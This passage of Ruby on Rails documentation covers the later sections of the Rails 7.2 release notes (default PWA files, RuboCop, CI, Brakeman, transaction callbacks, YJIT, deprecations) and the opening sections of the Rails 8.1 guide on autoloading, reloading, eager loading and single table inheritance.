### [2.4. Default Progressive Web Application (PWA) files](#default-progressive-web-application-pwa-files)

In preparation to better supporting the creation of PWA applications with Rails, we now generate default PWA files for the manifest and service worker, which are served from `app/views/pwa` and can be dynamically rendered through ERB. Those files are mounted explicitly at the root with default routes in the generated routes file.

For more information, see the [pull request adding the feature](https://github.com/rails/rails/pull/50528).

### [2.5. Add omakase RuboCop rules by default](#add-omakase-rubocop-rules-by-default)

Rails applications now come with [RuboCop](https://rubocop.org/) configured with a set of rules from [rubocop-rails-omakase](https://github.com/rails/rubocop-rails-omakase) by default.

Ruby is a beautifully expressive language that not only tolerates many different dialects, but celebrates their diversity. It was never meant as a language to be written exclusively in a single style across all libraries, frameworks, or applications. If you or your team has developed a particular house style that brings you joy, you should cherish that.

This collection of RuboCop styles is for those who haven't committed to any specific dialect already. Who would just like to have a reasonable starting point, and who will benefit from some default rules to at least start a consistent approach to Ruby styling.

These specific rules aren't right or wrong, but merely represent the idiosyncratic aesthetic sensibilities of Rails' creator. Use them whole, use them as a starting point, use them as inspiration, or however you see fit.

### [2.6. Add GitHub CI workflow by default to new applications](#add-github-ci-workflow-by-default-to-new-applications)

Rails now adds a default GitHub CI workflow file to new applications. This will get especially newcomers off to a good start with automated scanning, linting, and testing. We find that a natural continuation for the modern age of what we've done since the start with unit tests.

It's of course true that GitHub Actions are a commercial cloud product for private repositories after you've used the free tokens. But given the relationship between GitHub and Rails, the overwhelming default nature of the platform for newcomers, and the value of teaching newcomers good CI habits, we find this to be an acceptable trade-off.

### [2.7. Add Brakeman by default to new applications](#add-brakeman-by-default-to-new-applications)

[Brakeman](https://brakemanscanner.org/) is a great way to prevent common security vulnerabilities in Rails from going into production.

New applications come with Brakeman installed and combined with the GitHub CI workflow, it will run automatically on every push.

### [2.8. Set a new default for the Puma thread count](#set-a-new-default-for-the-puma-thread-count)

Rails changed the default number of threads in Puma from 5 to 3.

Due to the nature of well-optimized Rails applications, with quick SQL queries and slow 3rd-party calls running via jobs, Ruby can spend a significant amount of time waiting for the Global VM Lock (GVL) to release when the thread count is too high, which is hurting latency (request response time).

After careful consideration, investigation, and based on battle-tested experience from applications running in production, we decided that a default of 3 threads is a good balance between concurrency and performance.

You can follow a very detailed discussion about this change in [the issue](https://github.com/rails/rails/issues/50450).

### [2.9. Prevent jobs from being scheduled within transactions](#prevent-jobs-from-being-scheduled-within-transactions)

A common mistake with Active Job is to enqueue jobs from inside a transaction, causing them to potentially be picked and ran by another process, before the transaction is committed, which result in various errors.

```
Topic.transaction do
  topic = Topic.create

  NewTopicNotificationJob.perform_later(topic)
end
```

Now Active Job will automatically defer the enqueuing to after the transaction is committed, and drop the job if the transaction is rolled back.

Various queue implementations can chose to disable this behavior, and users can disable it, or force it on a per job basis:

```
class NewTopicNotificationJob < ApplicationJob
  self.enqueue_after_transaction_commit = :never
end
```

### [2.10. Per transaction commit and rollback callbacks](#per-transaction-commit-and-rollback-callbacks)

This is now possible due to a new feature that allows registering transaction callbacks outside of a record.

`ActiveRecord::Base.transaction` now yields an `ActiveRecord::Transaction` object, which allows registering callbacks on it.

```
Article.transaction do |transaction|
  article.update(published: true)

  transaction.after_commit do
    PublishNotificationMailer.with(article: article).deliver_later
  end
end
```

`ActiveRecord::Base.current_transaction` was also added to allow to register callbacks on it.

```
Article.current_transaction.after_commit do
  PublishNotificationMailer.with(article: article).deliver_later
end
```

And finally, `ActiveRecord.after_all_transactions_commit` was added, for code that may run either inside or outside a transaction and needs to perform work after the state changes have been properly persisted.

```
def publish_article(article)
  article.update(published: true)

  ActiveRecord.after_all_transactions_commit do
    PublishNotificationMailer.with(article: article).deliver_later
  end
end
```

See [#51474](https://github.com/rails/rails/pull/51474) and [#51426](https://github.com/rails/rails/pull/51426) for more information:

### [2.11. Enable YJIT by default if running Ruby 3.3+](#enable-yjit-by-default-if-running-ruby-3-3)

YJIT is Ruby's JIT compiler that is available in CRuby since Ruby 3.1. It can provide significant performance improvements for Rails applications, offering 15-25% latency improvements.

In Rails 7.2, YJIT is enabled by default if running Ruby 3.3 or newer.

You can disable YJIT by setting:

```
Rails.application.config.yjit = false
```

### [2.12. New design for the Rails guides](#new-design-for-the-rails-guides)

When Rails 7.0 landed in December 2021, it came with a fresh new homepage and a new boot screen. The design of the guides, however, has remained largely untouched since 2009 - a point which hasn’t gone unnoticed (we heard your feedback).

With all of the work right now going into removing complexity from the Rails framework and making the documentation consistent, clear, and up-to-date, it was time to tackle the design of the guides and make them equally modern, simple, and fresh.

We worked with UX designer [John Athayde](https://meticulous.com/) to take the look and feel of the homepage and transfer that over to the Rails guides to make them clean, sleek, and up-to-date.

The layout will remain the same, but from today you will see the following changes reflected in the guides:

* Cleaner, less busy design.
* Fonts, color scheme, and logo more consistent with the home page.
* Updated iconography.
* Simplified navigation.
* Sticky "Chapters" navbar when scrolling.

See the [announcement blog post for some before/after images](https://rubyonrails.org/2024/3/20/rails-guides-get-a-facelift).

### [2.13. Setup jemalloc in default Dockerfile to optimize memory allocation](#setup-jemalloc-in-default-dockerfile-to-optimize-memory-allocation)

[Ruby's use of `malloc` can create memory fragmentation problems, especially when using multiple threads](https://www.speedshop.co/2017/12/04/malloc-doubles-ruby-memory.html) like Puma does. Switching to an allocator that uses different patterns to avoid fragmentation can decrease memory usage by a substantial margin.

Rails 7.2 now includes [jemalloc](https://jemalloc.net/) in the default Dockerfile to optimize memory allocation.

### [2.14. Suggest puma-dev configuration in bin/setup](#suggest-puma-dev-configuration-in-bin-setup)

[Puma-dev](https://github.com/puma/puma-dev) is the golden path for developing multiple Rails applications locally, if you're not using Docker.

Rails now suggests how to get that setup in a new comment you'll find in `bin/setup`.

## [3. Railties](#railties)

Please refer to the [Changelog](https://github.com/rails/rails/blob/7-2-stable/railties/CHANGELOG.md) for detailed changes.

### [3.1. Removals](#railties-removals)

* Remove deprecated `Rails::Generators::Testing::Behaviour`.

* Remove deprecated `Rails.application.secrets`.

* Remove deprecated `Rails.config.enable_dependency_loading`.

* Remove deprecated `find_cmd_and_exec` console helper.

* Remove support for `oracle`, `sqlserver`, and JRuby specific database adapters from the `new` and `db:system:change` `rails` commands.

* Remove `config.public_file_server.enabled` option from the generators.

### [3.2. Deprecations](#railties-deprecations)

### [3.3. Notable changes](#railties-notable-changes)

* Add RuboCop with rules from [rubocop-rails-omakase](https://github.com/rails/rubocop-rails-omakase) by default in both new applications and plugins.

* Add Brakeman with default configuration for security checks in new applications.

* Add GitHub CI files for Dependabot, Brakeman, RuboCop, and running tests by default for new applications and plugins.

* YJIT is now enabled by default for new applications running on Ruby 3.3+.

* Generate a `.devcontainer` folder for running the application in a container with Visual Studio Code.

  ```
  $ rails new myapp --devcontainer
  ```

* Introduce `Rails::Generators::Testing::Assertions#assert_initializer` to test initializers.

* System tests now use Headless Chrome by default for new applications.

* Support the `BACKTRACE` environment variable to turn off backtrace cleaning in normal server runnings. Previously, this was only available for testing.

* Add default Progressive Web App (PWA) files for the manifest and service worker, served from `app/views/pwa`, and make them dynamically renderable through ERB.

## [4. Action Cable](#action-cable)

Please refer to the [Changelog](https://github.com/rails/rails/blob/7-2-stable/actioncable/CHANGELOG.md) for detailed changes.

### [4.1. Removals](#action-cable-removals)

### [4.2. Deprecations](#action-cable-deprecations)

### [4.3. Notable changes](#action-cable-notable-changes)

## [5. Action Pack](#action-pack)

Please refer to the [Changelog](https://github.com/rails/rails/blob/7-2-stable/actionpack/CHANGELOG.md) for detailed changes.

### [5.1. Removals](#action-pack-removals)

* Remove deprecated constant `ActionDispatch::IllegalStateError`.

* Remove deprecated constant `AbstractController::Helpers::MissingHelperError`.

* Remove deprecated comparison between `ActionController::Parameters` and `Hash`.

* Remove deprecated `Rails.application.config.action_dispatch.return_only_request_media_type_on_content_type`.

* Remove deprecated `speaker`, `vibrate`, and `vr` permissions policy directives.

* Remove deprecated support to set `Rails.application.config.action_dispatch.show_exceptions` to `true` and `false`.

### [5.2. Deprecations](#action-pack-deprecations)

* Deprecate `Rails.application.config.action_controller.allow_deprecated_parameters_hash_equality`.

### [5.3. Notable changes](#action-pack-notable-changes)

## [6. Action View](#action-view)

Please refer to the [Changelog](https://github.com/rails/rails/blob/7-2-stable/actionview/CHANGELOG.md) for detailed changes.

### [6.1. Removals](#action-view-removals)

* Remove deprecated `@rails/ujs` in favor of Turbo.

### [6.2. Deprecations](#action-view-deprecations)

* Deprecate passing content to void elements when using `tag.br` type tag builders.

### [6.3. Notable changes](#action-view-notable-changes)

## [7. Action Mailer](#action-mailer)

Please refer to the [Changelog](https://github.com/rails/rails/blob/7-2-stable/actionmailer/CHANGELOG.md) for detailed changes.

### [7.1. Removals](#action-mailer-removals)

* Remove deprecated `config.action_mailer.preview_path`.

* Remove deprecated params via `:args` for `assert_enqueued_email_with`.

### [7.2. Deprecations](#action-mailer-deprecations)

### [7.3. Notable changes](#action-mailer-notable-changes)

## [8. Active Record](#active-record)

Please refer to the [Changelog](https://github.com/rails/rails/blob/7-2-stable/activerecord/CHANGELOG.md) for detailed changes.

### [8.1. Removals](#active-record-removals)

* Remove deprecated `Rails.application.config.active_record.suppress_multiple_database_warning`.

* Remove deprecated support to call `alias_attribute` with non-existent attribute names.

* Remove deprecated `name` argument from `ActiveRecord::Base.remove_connection`.

* Remove deprecated `ActiveRecord::Base.clear_active_connections!`.

* Remove deprecated `ActiveRecord::Base.clear_reloadable_connections!`.

* Remove deprecated `ActiveRecord::Base.clear_all_connections!`.

* Remove deprecated `ActiveRecord::Base.flush_idle_connections!`.

* Remove deprecated `ActiveRecord::ActiveJobRequiredError`.

* Remove deprecated support to define `explain` in the connection adapter with 2 arguments.

* Remove deprecated `ActiveRecord::LogSubscriber.runtime` method.

* Remove deprecated `ActiveRecord::LogSubscriber.runtime=` method.

* Remove deprecated `ActiveRecord::LogSubscriber.reset_runtime` method.

* Remove deprecated `ActiveRecord::Migration.check_pending` method.

* Remove deprecated support to passing `SchemaMigration` and `InternalMetadata` classes as arguments to `ActiveRecord::MigrationContext`.

* Remove deprecated behavior to support referring to a singular association by its plural name.

* Remove deprecated `TestFixtures.fixture_path`.

* Remove deprecated support to `ActiveRecord::Base#read_attribute(:id)` to return the custom primary key value.

* Remove deprecated support to passing coder and class as second argument to `serialize`.

* Remove deprecated `#all_foreign_keys_valid?` from database adapters.

* Remove deprecated `ActiveRecord::ConnectionAdapters::SchemaCache.load_from`.

* Remove deprecated `ActiveRecord::ConnectionAdapters::SchemaCache#data_sources`.

* Remove deprecated `#all_connection_pools`.

* Remove deprecated support to apply `#connection_pool_list`, `#active_connections?`, `#clear_active_connections!`, `#clear_reloadable_connections!`, `#clear_all_connections!` and `#flush_idle_connections!` to the connections pools for the current role when the `role` argument isn't provided.

* Remove deprecated `ActiveRecord::ConnectionAdapters::ConnectionPool#connection_klass`.

* Remove deprecated `#quote_bound_value`.

* Remove deprecated support to quote `ActiveSupport::Duration`.

* Remove deprecated support to pass `deferrable: true` to `add_foreign_key`.

* Remove deprecated support to pass `rewhere` to `ActiveRecord::Relation#merge`.

* Remove deprecated behavior that would rollback a transaction block when exited using `return`, `break` or `throw`.

### [8.2. Deprecations](#active-record-deprecations)

* Deprecate `Rails.application.config.active_record.allow_deprecated_singular_associations_name`

* Deprecate `Rails.application.config.active_record.commit_transaction_on_non_local_return`

### [8.3. Notable changes](#active-record-notable-changes)

* `ActiveRecord::Base.establish_connection` no longer sets `ActiveRecord::Base.connection.active?` to `true`. If you need this behavior, you can use `ActiveRecord::Base.connection.verify!` instead.

## [9. Active Storage](#active-storage)

Please refer to the [Changelog](https://github.com/rails/rails/blob/7-2-stable/activestorage/CHANGELOG.md) for detailed changes.

### [9.1. Removals](#active-storage-removals)

* Remove deprecated `config.active_storage.replace_on_assign_to_many`.

* Remove deprecated `config.active_storage.silence_invalid_content_types_warning`.

### [9.2. Deprecations](#active-storage-deprecations)

### [9.3. Notable changes](#active-storage-notable-changes)

## [10. Active Model](#active-model)

Please refer to the [Changelog](https://github.com/rails/rails/blob/7-2-stable/activemodel/CHANGELOG.md) for detailed changes.

### [10.1. Removals](#active-model-removals)

### [10.2. Deprecations](#active-model-deprecations)

### [10.3. Notable changes](#active-model-notable-changes)

## [11. Active Support](#active-support)

Please refer to the [Changelog](https://github.com/rails/rails/blob/7-2-stable/activesupport/CHANGELOG.md) for detailed changes.

### [11.1. Removals](#active-support-removals)

* Remove deprecated `ActiveSupport::Notifications::Event#children` and `ActiveSupport::Notifications::Event#parent_of?`.

* Remove deprecated support to call the following methods without passing a deprecator:

  * `deprecate`
  * `deprecate_constant`
  * `ActiveSupport::Deprecation::DeprecatedObjectProxy.new`
  * `ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new`
  * `ActiveSupport::Deprecation::DeprecatedConstantProxy.new`
  * `assert_deprecated`
  * `assert_not_deprecated`
  * `collect_deprecations`

* Remove deprecated `ActiveSupport::Deprecation` delegation to instance.

* Remove deprecated `SafeBuffer#clone_empty`.

* Remove deprecated `#to_default_s` from `Array`, `Date`, `DateTime` and `Time`.

* Remove deprecated `:pool_size` and `:pool_timeout` options for the cache storage.

* Remove deprecated support for `config.active_support.cache_format_version = 6.1`.

* Remove deprecated constants `ActiveSupport::LogSubscriber::CLEAR` and `ActiveSupport::LogSubscriber::BOLD`.

* Remove deprecated support to bolding log text with positional boolean in `ActiveSupport::LogSubscriber#color`.

* Remove deprecated `config.active_support.disable_to_s_conversion`.

* Remove deprecated `config.active_support.remove_deprecated_time_with_zone_name`.

* Remove deprecated `config.active_support.use_rfc4122_namespaced_uuids`.

* Remove deprecated support to passing `Dalli::Client` instances to `MemCacheStore`.

### [11.2. Deprecations](#active-support-deprecations)

### [11.3. Notable changes](#active-support-notable-changes)

## [12. Active Job](#active-job)

Please refer to the [Changelog](https://github.com/rails/rails/blob/7-2-stable/activejob/CHANGELOG.md) for detailed changes.

### [12.1. Removals](#active-job-removals)

* Remove deprecated primitive serializer for `BigDecimal` arguments.

* Remove deprecated support to set numeric values to `scheduled_at` attribute.

* Remove deprecated `:exponentially_longer` value for the `:wait` in `retry_on`.

### [12.2. Deprecations](#active-job-deprecations)

* Deprecate `Rails.application.config.active_job.use_big_decimal_serializer`.

### [12.3. Notable changes](#active-job-notable-changes)

## [13. Action Text](#action-text)

Please refer to the [Changelog](https://github.com/rails/rails/blob/7-2-stable/actiontext/CHANGELOG.md) for detailed changes.

### [13.1. Removals](#action-text-removals)

### [13.2. Deprecations](#action-text-deprecations)

### [13.3. Notable changes](#action-text-notable-changes)

## [14. Action Mailbox](#action-mailbox)

Please refer to the [Changelog](https://github.com/rails/rails/blob/7-2-stable/actionmailbox/CHANGELOG.md) for detailed changes.

### [14.1. Removals](#action-mailbox-removals)

### [14.2. Deprecations](#action-mailbox-deprecations)

### [14.3. Notable changes](#action-mailbox-notable-changes)

## [15. Ruby on Rails Guides](#ruby-on-rails-guides)

Please refer to the [Changelog](https://github.com/rails/rails/blob/7-2-stable/guides/CHANGELOG.md) for detailed changes.

### [15.1. Notable changes](#notable-changes)

## [16. Credits](#credits)

See the [full list of contributors to Rails](https://contributors.rubyonrails.org/) for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/autoloading_and_reloading_constants.html
----

***

## [1. Introduction](#introduction)

This guide documents autoloading, reloading, and eager loading in Rails applications.

In an ordinary Ruby program, you explicitly load the files that define classes and modules you want to use. For example, the following controller refers to `ApplicationController` and `Post`, and you'd normally issue `require` calls for them:

```
# DO NOT DO THIS.
require "application_controller"
require "post"
# DO NOT DO THIS.

class PostsController < ApplicationController
  def index
    @posts = Post.all
  end
end
```

This is not the case in Rails applications, where application classes and modules are just available everywhere without `require` calls:

```
class PostsController < ApplicationController
  def index
    @posts = Post.all
  end
end
```

Rails *autoloads* them on your behalf if needed. This is possible thanks to a couple of [Zeitwerk](https://github.com/fxn/zeitwerk) loaders Rails sets up on your behalf, which provide autoloading, reloading, and eager loading.

On the other hand, those loaders do not manage anything else. In particular, they do not manage the Ruby standard library, gem dependencies, Rails components themselves, or even (by default) the application `lib` directory. That code has to be loaded as usual.

## [2. Project Structure](#project-structure)

In a Rails application file names have to match the constants they define, with directories acting as namespaces.

For example, the file `app/helpers/users_helper.rb` should define `UsersHelper` and the file `app/controllers/admin/payments_controller.rb` should define `Admin::PaymentsController`.

By default, Rails configures Zeitwerk to inflect file names with `String#camelize`. For example, it expects that `app/controllers/users_controller.rb` defines the constant `UsersController` because that is what `"users_controller".camelize` returns.

The section *Customizing Inflections* below documents ways to override this default.

Please, check the [Zeitwerk documentation](https://github.com/fxn/zeitwerk#file-structure) for further details.

## [3. config.autoload\_paths](#config-autoload-paths)

We refer to the list of application directories whose contents are to be autoloaded and (optionally) reloaded as *autoload paths*. For example, `app/models`. Such directories represent the root namespace: `Object`.

Autoload paths are called *root directories* in Zeitwerk documentation, but we'll stay with "autoload path" in this guide.

Within an autoload path, file names must match the constants they define as documented [here](https://github.com/fxn/zeitwerk#file-structure).

By default, the autoload paths of an application consist of all the subdirectories of `app` that exist when the application boots ---except for `assets`, `javascript`, and `views`--- plus the autoload paths of engines it might depend on.

For example, if `UsersHelper` is implemented in `app/helpers/users_helper.rb`, the module is autoloadable, you do not need (and should not write) a `require` call for it:

```
$ bin/rails runner 'p UsersHelper'
UsersHelper
```

Rails adds custom directories under `app` to the autoload paths automatically. For example, if your application has `app/presenters`, you don't need to configure anything in order to autoload presenters; it works out of the box.

The array of default autoload paths can be extended by pushing to `config.autoload_paths`, in `config/application.rb` or `config/environments/*.rb`. For example:

```
module MyApplication
  class Application < Rails::Application
    config.autoload_paths << "#{root}/extras"
  end
end
```

Also, engines can push in body of the engine class and in their own `config/environments/*.rb`.

Please do not mutate `ActiveSupport::Dependencies.autoload_paths`; the public interface to change autoload paths is `config.autoload_paths`.

You cannot autoload code in the autoload paths while the application boots. In particular, directly in `config/initializers/*.rb`. Please check [*Autoloading when the application boots*](#autoloading-when-the-application-boots) down below for valid ways to do that.

The autoload paths are managed by the `Rails.autoloaders.main` autoloader.

## [4. config.autoload\_lib(ignore:)](#config-autoload-lib-ignore)

By default, the `lib` directory does not belong to the autoload paths of applications or engines.

The configuration method `config.autoload_lib` adds the `lib` directory to `config.autoload_paths` and `config.eager_load_paths`. It has to be invoked from `config/application.rb` or `config/environments/*.rb`, and it is not available for engines.

Normally, `lib` has subdirectories that should not be managed by the autoloaders. Please, pass their name relative to `lib` in the required `ignore` keyword argument. For example:

```
config.autoload_lib(ignore: %w(assets tasks))
```

Why? While `assets` and `tasks` share the `lib` directory with regular Ruby code, their contents are not meant to be reloaded or eager loaded.

The `ignore` list should have all `lib` subdirectories that do not contain files with `.rb` extension, or that should not be reloaded or eager loaded. For example,

```
config.autoload_lib(ignore: %w(assets tasks templates generators middleware))
```

`config.autoload_lib` is not available before 7.1, but you can still emulate it as long as the application uses Zeitwerk:

```
# config/application.rb
module MyApp
  class Application < Rails::Application
    lib = root.join("lib")

    config.autoload_paths << lib
    config.eager_load_paths << lib

    Rails.autoloaders.main.ignore(
      lib.join("assets"),
      lib.join("tasks"),
      lib.join("generators")
    )

    # ...
  end
end
```

## [5. config.autoload\_once\_paths](#config-autoload-once-paths)

You may want to be able to autoload classes and modules without reloading them. The `autoload_once_paths` configuration stores code that can be autoloaded, but won't be reloaded.

By default, this collection is empty, but you can extend it pushing to `config.autoload_once_paths`. You can do so in `config/application.rb` or `config/environments/*.rb`. For example:

```
module MyApplication
  class Application < Rails::Application
    config.autoload_once_paths << "#{root}/app/serializers"
  end
end
```

Also, engines can push in body of the engine class and in their own `config/environments/*.rb`.

If `app/serializers` is pushed to `config.autoload_once_paths`, Rails no longer considers this an autoload path, despite being a custom directory under `app`. This setting overrides that rule.

This is key for classes and modules that are cached in places that survive reloads, like the Rails framework itself.

For example, Active Job serializers are stored inside Active Job:

```
# config/initializers/custom_serializers.rb
Rails.application.config.active_job.custom_serializers << MoneySerializer
```

and Active Job itself is not reloaded when there's a reload, only application and engines code in the autoload paths is.

Making `MoneySerializer` reloadable would be confusing, because reloading an edited version would have no effect on that class object stored in Active Job. Indeed, if `MoneySerializer` was reloadable, starting with Rails 7 such initializer would raise a `NameError`.

Another use case is when engines decorate framework classes:

```
initializer "decorate ActionController::Base" do
  ActiveSupport.on_load(:action_controller_base) do
    include MyDecoration
  end
end
```

There, the module object stored in `MyDecoration` by the time the initializer runs becomes an ancestor of `ActionController::Base`, and reloading `MyDecoration` is pointless, it won't affect that ancestor chain.

Classes and modules from the autoload once paths can be autoloaded in `config/initializers`. So, with that configuration this works:

```
# config/initializers/custom_serializers.rb
Rails.application.config.active_job.custom_serializers << MoneySerializer
```

Technically, you can autoload classes and modules managed by the `once` autoloader in any initializer that runs after `:bootstrap_hook`.

The autoload once paths are managed by `Rails.autoloaders.once`.

## [6. config.autoload\_lib\_once(ignore:)](#config-autoload-lib-once-ignore)

The method `config.autoload_lib_once` is similar to `config.autoload_lib`, except that it adds `lib` to `config.autoload_once_paths` instead. It has to be invoked from `config/application.rb` or `config/environments/*.rb`, and it is not available for engines.

By calling `config.autoload_lib_once`, classes and modules in `lib` can be autoloaded, even from application initializers, but won't be reloaded.

`config.autoload_lib_once` is not available before 7.1, but you can still emulate it as long as the application uses Zeitwerk:

```
# config/application.rb
module MyApp
  class Application < Rails::Application
    lib = root.join("lib")

    config.autoload_once_paths << lib
    config.eager_load_paths << lib

    Rails.autoloaders.once.ignore(
      lib.join("assets"),
      lib.join("tasks"),
      lib.join("generators")
    )

    # ...
  end
end
```

## [7. Reloading](#reloading)

Rails automatically reloads classes and modules if application files in the autoload paths change.

More precisely, if the web server is running and application files have been modified, Rails unloads all autoloaded constants managed by the `main` autoloader just before the next request is processed. That way, application classes or modules used during that request will be autoloaded again, thus picking up their current implementation in the file system.

Reloading can be enabled or disabled. The setting that controls this behavior is [`config.enable_reloading`](configuring.html#config-enable-reloading), which is `true` by default in `development` mode, and `false` by default in `production` mode. For backwards compatibility, Rails also supports `config.cache_classes`, which is equivalent to `!config.enable_reloading`.

Rails uses an evented file monitor to detect files changes by default. It can be configured instead to detect file changes by walking the autoload paths. This is controlled by the [`config.file_watcher`](configuring.html#config-file-watcher) setting.

In a Rails console there is no file watcher active regardless of the value of `config.enable_reloading`. This is because, normally, it would be confusing to have code reloaded in the middle of a console session. Similar to an individual request, you generally want a console session to be served by a consistent, non-changing set of application classes and modules.

However, you can force a reload in the console by executing `reload!`:

```
irb(main):001:0> User.object_id
=> 70136277390120
irb(main):002:0> reload!
Reloading...
=> true
irb(main):003:0> User.object_id
=> 70136284426020
```

As you can see, the class object stored in the `User` constant is different after reloading.

### [7.1. Reloading and Stale Objects](#reloading-and-stale-objects)

It is very important to understand that Ruby does not have a way to truly reload classes and modules in memory, and have that reflected everywhere they are already used. Technically, "unloading" the `User` class means removing the `User` constant via `Object.send(:remove_const, "User")`.

For example, check out this Rails console session:

```
irb> joe = User.new
irb> reload!
irb> alice = User.new
irb> joe.class == alice.class
=> false
```

`joe` is an instance of the original `User` class. When there is a reload, the `User` constant then evaluates to a different, reloaded class. `alice` is an instance of the newly loaded `User`, but `joe` is not — his class is stale. You may define `joe` again, start an IRB subsession, or just launch a new console instead of calling `reload!`.

Another situation in which you may find this gotcha is subclassing reloadable classes in a place that is not reloaded:

```
# lib/vip_user.rb
class VipUser < User
end
```

if `User` is reloaded, since `VipUser` is not, the superclass of `VipUser` is the original stale class object.

Bottom line: **do not cache reloadable classes or modules**.

## [8. Autoloading When the Application Boots](#autoloading-when-the-application-boots)

While booting, applications can autoload from the autoload once paths, which are managed by the `once` autoloader. Please check the section [`config.autoload_once_paths`](#config-autoload-once-paths) above.

However, you cannot autoload from the autoload paths, which are managed by the `main` autoloader. This applies to code in `config/initializers` as well as application or engines initializers.

Why? Initializers only run once, when the application boots. They do not run again on reloads. If an initializer used a reloadable class or module, edits to them would not be reflected in that initial code, thus becoming stale. Therefore, referring to reloadable constants during initialization is disallowed.

Let's see what to do instead.

### [8.1. Use Case 1: During Boot, Load Reloadable Code](#use-case-1-during-boot-load-reloadable-code)

#### [8.1.1. Autoload on Boot and on Each Reload](#autoload-on-boot-and-on-each-reload)

Let's imagine `ApiGateway` is a reloadable class and you need to configure its endpoint while the application boots:

```
# config/initializers/api_gateway_setup.rb
ApiGateway.endpoint = "https://example.com" # NameError
```

Initializers cannot refer to reloadable constants, you need to wrap that in a `to_prepare` block, which runs on boot, and after each reload:

```
# config/initializers/api_gateway_setup.rb
Rails.application.config.to_prepare do
  ApiGateway.endpoint = "https://example.com" # CORRECT
end
```

For historical reasons, this callback may run twice. The code it executes must be idempotent.

#### [8.1.2. Autoload on Boot Only](#autoload-on-boot-only)

Reloadable classes and modules can be autoloaded in `after_initialize` blocks too. These run on boot, but do not run again on reload. In some exceptional cases this may be what you want.

Preflight checks are a use case for this:

```
# config/initializers/check_admin_presence.rb
Rails.application.config.after_initialize do
  unless Role.where(name: "admin").exists?
    abort "The admin role is not present, please seed the database."
  end
end
```

### [8.2. Use Case 2: During Boot, Load Code that Remains Cached](#use-case-2-during-boot-load-code-that-remains-cached)

Some configurations take a class or module object, and they store it in a place that is not reloaded. It is important that these are not reloadable, because edits would not be reflected in those cached stale objects.

One example is middleware:

```
config.middleware.use MyApp::Middleware::Foo
```

When you reload, the middleware stack is not affected, so it would be confusing that `MyApp::Middleware::Foo` is reloadable. Changes in its implementation would have no effect.

Another example is Active Job serializers:

```
# config/initializers/custom_serializers.rb
Rails.application.config.active_job.custom_serializers << MoneySerializer
```

Whatever `MoneySerializer` evaluates to during initialization gets pushed to the custom serializers, and that object stays there on reloads.

Yet another example are railties or engines decorating framework classes by including modules. For instance, [`turbo-rails`](https://github.com/hotwired/turbo-rails) decorates `ActiveRecord::Base` this way:

```
initializer "turbo.broadcastable" do
  ActiveSupport.on_load(:active_record) do
    include Turbo::Broadcastable
  end
end
```

That adds a module object to the ancestor chain of `ActiveRecord::Base`. Changes in `Turbo::Broadcastable` would have no effect if reloaded, the ancestor chain would still have the original one.

Corollary: Those classes or modules **cannot be reloadable**.

An idiomatic way to organize these files is to put them in the `lib` directory and load them with `require` where needed. For example, if the application has custom middleware in `lib/middleware`, issue a regular `require` call before configuring it:

```
require "middleware/my_middleware"
config.middleware.use MyMiddleware
```

Additionally, if `lib` is in the autoload paths, configure the autoloader to ignore that subdirectory:

```
# config/application.rb
config.autoload_lib(ignore: %w(assets tasks ... middleware))
```

since you are loading those files yourself.

As noted above, another option is to have the directory that defines them in the autoload once paths and autoload. Please check the [section about config.autoload\_once\_paths](#config-autoload-once-paths) for details.

### [8.3. Use Case 3: Configure Application Classes for Engines](#use-case-3-configure-application-classes-for-engines)

Let's suppose an engine works with the reloadable application class that models users, and has a configuration point for it:

```
# config/initializers/my_engine.rb
MyEngine.configure do |config|
  config.user_model = User # NameError
end
```

In order to play well with reloadable application code, the engine instead needs applications to configure the *name* of that class:

```
# config/initializers/my_engine.rb
MyEngine.configure do |config|
  config.user_model = "User" # OK
end
```

Then, at run time, `config.user_model.constantize` gives you the current class object.

## [9. Eager Loading](#eager-loading)

In production-like environments it is generally better to load all the application code when the application boots. Eager loading puts everything in memory ready to serve requests right away, and it is also [CoW](https://en.wikipedia.org/wiki/Copy-on-write)-friendly.

Eager loading is controlled by the flag [`config.eager_load`](configuring.html#config-eager-load), which is disabled by default in all environments except `production`. When a Rake task gets executed, `config.eager_load` is overridden by [`config.rake_eager_load`](configuring.html#config-rake-eager-load), which is `false` by default. So, by default, in production environments Rake tasks do not eager load the application.

The order in which files are eager-loaded is undefined.

During eager loading, Rails invokes `Zeitwerk::Loader.eager_load_all`. That ensures all gem dependencies managed by Zeitwerk are eager-loaded too.

## [10. Single Table Inheritance](#single-table-inheritance)

Single Table Inheritance doesn't play well with lazy loading: Active Record has to be aware of STI hierarchies to work correctly, but when lazy loading, classes are precisely loaded only on demand!

To address this fundamental mismatch we need to preload STIs. There are a few options to accomplish this, with different trade-offs. Let's see them.

### [10.1. Option 1: Enable Eager Loading](#option-1-enable-eager-loading)

The easiest way to preload STIs is to enable eager loading by setting:

```
config.eager_load = true
```

in `config/environments/development.rb` and `config/environments/test.rb`.

This is simple, but may be costly because it eager loads the entire application on boot and on every reload. The trade-off may be worthwhile for small applications, though.

### [10.2. Option 2: Preload a Collapsed Directory](#option-2-preload-a-collapsed-directory)

Store the files that define the hierarchy in a dedicated directory, which makes sense also conceptually. The directory is not meant to represent a namespace, its sole purpose is to group the STI:

```
app/models/shapes/shape.rb
app/models/shapes/circle.rb
app/models/shapes/square.rb
app/models/shapes/triangle.rb
```

In this example, we still want `app/models/shapes/circle.rb` to define `Circle`, not `Shapes::Circle`. This may be your personal preference to keep things simple, and also avoids refactors in existing code bases. The [collapsing](https://github.com/fxn/zeitwerk#collapsing-directories) feature of Zeitwerk allows us to do that:

```
# config/initializers/preload_stis.rb

shapes = "#{Rails.root}/app/models/shapes"
Rails.autoloaders.main.collapse(shapes) # Not a namespace.

unless Rails.application.config.eager_load
  Rails.application.config.to_prepare do
    Rails.autoloaders.main.eager_load_dir(shapes)
  end
end
```

In this option, we eager load these few files on boot and reload even if the STI is not used. However, unless your application has a lot of STIs, this won't have any measurable impact.

The method `Zeitwerk::Loader#eager_load_dir` was added in Zeitwerk 2.6.2. For older versions, you can still list the `app/models/shapes` directory and invoke `require_dependency` on its contents.

If models are added, modified, or deleted from the STI, reloading works as expected. However, if a new separate STI hierarchy is added to the application, you'll need to edit the initializer and restart the server.

### [10.3. Option 3: Preload a Regular Directory](#option-3-preload-a-regular-directory)

Similar to the previous one, but the directory is meant to be a namespace. That is, `app/models/shapes/circle.rb` is expected to define `Shapes::Circle`.

